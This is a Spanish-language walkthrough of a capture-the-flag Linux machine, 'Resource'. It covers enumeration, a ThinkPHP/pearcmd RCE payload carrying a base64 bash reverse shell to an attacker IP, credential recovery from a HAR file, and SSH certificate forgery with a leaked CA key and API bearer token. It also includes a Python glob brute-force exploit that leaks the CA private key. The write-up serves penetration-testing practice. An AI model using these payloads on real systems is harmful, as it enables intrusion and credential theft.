Resource

OS: Linux
Dificultad: Difícil
Puntos: 40

Nmap

nmap -v -p- --min-rate=5000 10.129.194.23
nmap -p 22,80,2222 -sV -sC -oN nmap.txt 10.129.194.23
Nmap scan report for 10.129.194.23
Host is up (0.026s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 d5:4f:62:39:7b:d2:22:f0:a8:8a:d9:90:35:60:56:88 (ECDSA)
|_  256 fb:67:b0:60:52:f2:12:7e:6c:13:fb:75:f2:bb:1a:ca (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_  256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Despues de enumerar un poco la pagina encontramos un endpoint llamado api, realizamos fuerza bruta y nos devuelve admin.php.

┌──(root㉿kali)-[~/Resource]
└─# gobuster dir -u http://itrc.ssg.htb/api/ -w /usr/share/wordlists/dirb/big.txt -x php -t 20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://itrc.ssg.htb/api/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/.htpasswd.php        (Status: 403) [Size: 277]
/admin.php            (Status: 500) [Size: 0]
/login.php            (Status: 302) [Size: 0] [--> /]
/register.php         (Status: 302) [Size: 0] [--> /]

Se puede acceder al portal de admin de la siguiente forma.

http://itrc.ssg.htb/?page=admin

ThinkPHP RCE

Intentando multiples cosas llegamos al siguiente exploit que nos permite obtener RCE.

https://github.com/Mr-xn/thinkphp_lang_RCE

Primero creamos nuestro payload.

┌──(root㉿kali)-[~/Resource]
└─# echo "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.23/1234 0>&1'" | base64 
L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjIzLzEyMzQgMD4mMScK

Enviamos el payload, es recomendable utilizar BurpSuite para enviar la request.

http://itrc.ssg.htb/?page=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjIzLzEyMzQgMD4mMScK"));?>+/tmp/doom.php

Por ultimo consultamos nuestro archivo.

http://itrc.ssg.htb/?page=../../../../../../../../tmp/doom

Obtenemos reverse shell.

Lateral Movement

En el directorio uploads encontramos archivos zip y un en especifico tienes mas informacion que los otros.

www-data@itrc:/var/www/itrc/uploads$ ls -la
total 1176
drwxrwxr-x 1 www-data www-data    4096 Aug  6 09:23 .
drwxr-xr-x 1 www-data www-data    4096 Feb 19 18:13 ..
-rw-r--r-- 1 www-data www-data     162 Jul 25 11:30 21de93259c8a45dd2223355515f1ee70d8763c8a.zip
-rw-r--r-- 1 www-data www-data     162 Jul 25 12:48 88dd73e336c2f81891bddbe2b61f5ccb588387ef.zip
-rw-r--r-- 1 www-data www-data     162 Jul 25 11:28 b829beac87ea0757d7d3432edeac36c6542f46c4.zip
-rw-rw-r-- 1 www-data www-data 1162513 Feb  6 21:38 c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
-rw-rw-r-- 1 www-data www-data     634 Feb  6 21:46 e8c6575573384aeeab4d093cc99c7e5927614185.zip
-rw-rw-r-- 1 www-data www-data     275 Feb  6 21:42 eb65074fe37671509f24d1652a44944be61e4360.zip

Lo descargamos a nuestra maquina.

┌──(root㉿kali)-[~/Resource]
└─# curl http://itrc.ssg.htb/uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip -o test.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1135k  100 1135k    0     0  2978k      0 --:--:-- --:--:-- --:--:-- 2971k

Descomprimimos el archivo.

┌──(root㉿kali)-[~/Resource]
└─# unzip test.zip
Archive:  test.zip
  inflating: itrc.ssg.htb.har 

Este archivo contiene mucha informacion por lo tanto usamos grep para identificar algun usuario y obtenemos lo siguiente.

┌──(root㉿kali)-[~/Resource]
└─# cat itrc.ssg.htb.har | grep user
            "text": "user=msainristil&pass=82yards2closeit",
                "name": "user",

Estas credenciales las podemos usar para conectarnos por SSH.

┌──(root㉿kali)-[~/Resource]
└─# ssh msainristil@10.129.115.179
msainristil@10.129.115.179's password: 
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug  6 09:50:16 2024 from 10.10.14.23
msainristil@itrc:~$

SSH Certificate-Based Authentication

Encontramos un par de archivos cert en el siguiente directorio.

msainristil@itrc:~/decommission_old_ca$ ls
ca-itrc  ca-itrc.pub

Despues de investigar es posible usar esos certificados para conectarnos por SSH.

https://www.sidechannel.blog/en/configuring-ssh-certificate-based-authentication/

Primero creamos un par de llaves RSA.

msainristil@itrc:~/decommission_old_ca$ ssh-keygen -t rsa -b 2048 -f keypair
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in keypair
Your public key has been saved in keypair.pub
The key fingerprint is:
SHA256:84liCQmFkKls919ufJ8wTlyZxuUMddDwx6Epcntakrc msainristil@itrc
The key's randomart image is:
+---[RSA 2048]----+
|.+ ..         o*.|
|o ..          +o+|
|o .      . o + .+|
|.o o .    o = B .|
|. . +   S  + X o |
|     o . =..O .  |
|      = = o* E   |
|     . o +o.o .  |
|        . ...o   |
+----[SHA256]-----+

Despues firmamos el certificado.

msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -I user-cert -n zzinter -V +52w -z 12345 keypair.pub
Signed user key keypair-cert.pub: id "user-cert" serial 12345 for zzinter valid from 2024-08-06T10:18:00 to 2025-08-05T10:19:09

Por ultimo nos conectamos por SSH.

msainristil@itrc:~/decommission_old_ca$ ssh -o CertificateFile=keypair-cert.pub -i keypair zzinter@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:PVHxOqGsN7oX50zMsl/3O2BPQ3u50UhffyNeJZuo2K4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes 
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
zzinter@itrc:~$

Tambien podemos hacer lo mismo para el usuario root.

ssh-keygen -t rsa -b 2048 -f rootkey
ssh-keygen -s ca-itrc -I user-cert -n root -V +52w -z 12345 rootkey.pub
ssh -o CertificateFile=rootkey-cert.pub -i rootkey root@ssg

Privilege Escalation

En el directorio de zzinter encontramos el script sign_key_api.sh.

zzinter@itrc:~$ ls -la
total 32
drwx------ 1 zzinter zzinter 4096 Aug  6 12:59 .
drwxr-xr-x 1 root    root    4096 Jul 23 14:22 ..
lrwxrwxrwx 1 root    root       9 Jul 23 14:22 .bash_history -> /dev/null
-rw-r--r-- 1 zzinter zzinter  220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 zzinter zzinter 3526 Mar 29 19:40 .bashrc
-rw-r--r-- 1 zzinter zzinter  807 Mar 29 19:40 .profile
-rw-rw-r-- 1 root    root    1193 Feb 19 16:43 sign_key_api.sh
-rw-r----- 1 root    zzinter   33 Aug  6 07:48 user.txt

Lo mas importante del archivo es lo siguiente.

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

Con esto podemos realizar la accion similar de firmar la llave para conectarnos por SSH al puerto 2222.

Primero generamos nuestro par de llaves.

┌──(root㉿kali)-[~/Resource]
└─# ssh-keygen -t rsa -b 2048 -f supportkey
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in supportkey
Your public key has been saved in supportkey.pub
The key fingerprint is:
SHA256:QYD9RYFzMiabMOhqwge+OfTigJXjm0QOrKfASvHrdN4 root@kali
The key's randomart image is:
+---[RSA 2048]----+
|   . o...oo.     |
|  . + o.* o      |
| .   o *.*       |
|....  o ..       |
|++*     S        |
|*@oo             |
|OoXo .           |
|=O.++ .          |
|+.*o . E         |
+----[SHA256]-----+

Ahora firmamos nuestra llave publica.

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0nyy0pOciVcK4CU5NK4HLvj9G7cKzQ5sYFjnPi2CAiTNx05FebpN46qMyLoM4PgPAujKb3IWFgezjjfXllq97XUBmRfgeeBdoXUWvDJvac9kpFpfhLDSukkiRM4Nlfob19qppy0CnaYmvM2AQkog0kezGQi2PhyJ6Rl923dKRxTqEj89Hrh2mtw75xKYpmrK6oFkUXdj7Ue7qCRC9MDNmcqTop94h3ySUVoHOTULjuzBKGDc2je465xw/bUQX3tzXj7CPgeBO8o9pHigdNt6urp1PHl7Y5XBnJkhr47GWYxMn+Jy+BIF+TzGct2pzZrdXoiztCUXDeDzQM5tF7XWf", "username": "support", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" > support-cert.pub

Una vez hecho lo anterior nos conectamos por ssh.

┌──(root㉿kali)-[~/Resource]
└─# ssh -p 2222 -o CertificateFile=support-cert.pub -i supportkey support@10.129.115.179
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)

Last login: Tue Aug  6 12:51:25 2024 from 10.10.14.23
support@ssg:~$ id
uid=1000(support) gid=1000(support) groups=1000(support)
support@ssg:~$

En el directorio /etc/ssh/auth_principals encontramos archivos que nos dicen el principal de cada usuario.

support@ssg:~$ ls -la /etc/ssh/auth_principals/
total 20
drwxr-xr-x 2 root root 4096 Feb  8 12:16 .
drwxr-xr-x 5 root root 4096 Jul 24 12:24 ..
-rw-r--r-- 1 root root   10 Feb  8 12:16 root
-rw-r--r-- 1 root root   18 Feb  8 12:16 support
-rw-r--r-- 1 root root   13 Feb  8 12:11 zzinter
support@ssg:~$ cat /etc/ssh/auth_principals/zzinter 
zzinter_temp
support@ssg:~$ cat /etc/ssh/auth_principals/root 
root_user
support@ssg:~$ cat /etc/ssh/auth_principals/support 
support
root_user

Creamos otro certificado pero ahora con el usuario zzinter.

┌──(root㉿kali)-[~/Resource]
└─# curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0nyy0pOciVcK4CU5NK4HLvj9G7cKzQ5sYFjnPi2CAiTNx05FebpN46qMyLoM4PgPAujKb3IWFgezjjfXllq97XUBmRfgeeBdoXUWvDJvac9kpFpfhLDSukkiRM4Nlfob19qppy0CnaYmvM2AQkog0kezGQi2PhyJ6Rl923dKRxTqEj89Hrh2mtw75xKYpmrK6oFkUXdj7Ue7qCRC9MDNmcqTop94h3ySUVoHOTULjuzBKGDc2je465xw/bUQX3tzXj7CPgeBO8o9pHigdNt6urp1PHl7Y5XBnJkhr47GWYxMn+Jy+BIF+TzGct2pzZrdXoiztCUXDeDzQM5tF7XWf", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" > zzinter-cert.pub

Nos conectamos por SSH.

┌──(root㉿kali)-[~/Resource]
└─# ssh -p 2222 -o CertificateFile=zzinter-cert.pub -i supportkey zzinter@10.129.115.179
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)

Last login: Thu Jul 25 12:49:12 2024 from 10.10.14.23
zzinter@ssg:~$

Este usuario tiene privilegios sudo.

zzinter@ssg:~$ sudo -l
Matching Defaults entries for zzinter on ssg:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zzinter may run the following commands on ssg:
    (root) NOPASSWD: /opt/sign_key.sh

Shell Globbing

Podemos aprovecharnos de la tecnica shell globbing para ir extrayendo el certificado.

https://insinuator.net/2014/12/revisiting-an-old-friend-shell-globbing/

Bash globbing es una característica del shell Bash que permite la expansión de patrones de nombres de archivos. Es una forma de hacer coincidir múltiples archivos usando caracteres especiales conocidos como metacaracteres.

La intención es abusar del comando que usa el script donde esta comparando el contenido de tu archivo ca con el archivo especifico ca-it. Se puede filtrar un caracter a la vez del archivo.

Usando el siguiente script podemos realizarlo.

import subprocess
import string

CA_PATH = '/tmp/ca-test'
SIGNING_SCRIPT = '/opt/sign_key.sh'
PUB_KEY = 'root.pub'
USER = 'root'
PRINCIPAL = 'root_user'
SERIAL = 'ABCD'

def run_signing_command(pattern):
    with open(CA_PATH, 'wb') as f:
        f.write(pattern.encode('utf-8'))

    try:
        result = subprocess.run(
            ['bash', '-c', f"echo -n '{pattern}' > {CA_PATH}; sudo {SIGNING_SCRIPT} {CA_PATH} {PUB_KEY} {USER} {PRINCIPAL} {SERIAL}"],
            capture_output=True,
            text=True
        )
        return result.stdout.strip(), result.stderr.strip()
    except Exception as e:
        print(f"Error running command: {e}")
        return "", str(e)

def brute_force_patterns(base_pattern=''):
    chars = string.ascii_letters + string.digits + '-+=/ \r\n'

    while True:
        found = False
        for char in chars:
            pattern = base_pattern + char + '*'

            stdout, stderr = run_signing_command(pattern)

            if "Error: Use API for signing with this CA." in stdout:
                base_pattern += char
                found = True
                print(f"{base_pattern}")
                break
        if not found:
            break
    return pattern

if __name__ == '__main__':
    ca_key = brute_force_patterns()
    if "-----END OPENSSH PRIVATE KEY-----" in ca_key:
        print("\n\nSuccess\n")
        file = open("ca-it", "w")
        file.write(ca_key)
        file.close()
    else:
        exit("\n\nFail\n")

Ejecutamos el script, le tomara un rato conseguirlo.

zzinter@ssg:~$ python exploit.py 
-
--
---
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----


Success

Una vez que se obtenga el certificado creamos un par de llaves y las firmamos.

┌──(root㉿kali)-[~/Resource]
└─# ssh-keygen -f root-keypair
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in root-keypair
Your public key has been saved in root-keypair.pub
The key fingerprint is:
SHA256:yVT6sJoV3u4mbJiBlp40Mk3N6ZofgqZC55n+mhjxsi0 root@kali
The key's randomart image is:
+--[ED25519 256]--+
|          .      |
|         o       |
|     o .=        |
|    . ++ B       |
| . o +  S o      |
| .=oB o+ .       |
|.o=B+=+=  .      |
|.E*+*.o.+..      |
|ooo=oo.. o.      |
+----[SHA256]-----+
┌──(root㉿kali)-[~/Resource]
└─# chmod 400 ca-it  
                                                                                                        
┌──(root㉿kali)-[~/Resource]
└─# ssh-keygen -s ca-it -z 200 -I root -V -10w:forever -n root_user root-keypair.pub
Signed user key root-keypair-cert.pub: id "root" serial 200 for root_user valid after 2024-05-28T09:48:38
┌──(root㉿kali)-[~/Resource]
└─# ssh -p 2222 -o CertificateFile=root-keypair-cert.pub -i root-keypair root@10.129.203.142
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)

Last login: Tue Jul 30 08:44:01 2024
root@ssg:~# cat root.txt 
8985b0f2cb56cfc8d657eedc0286766e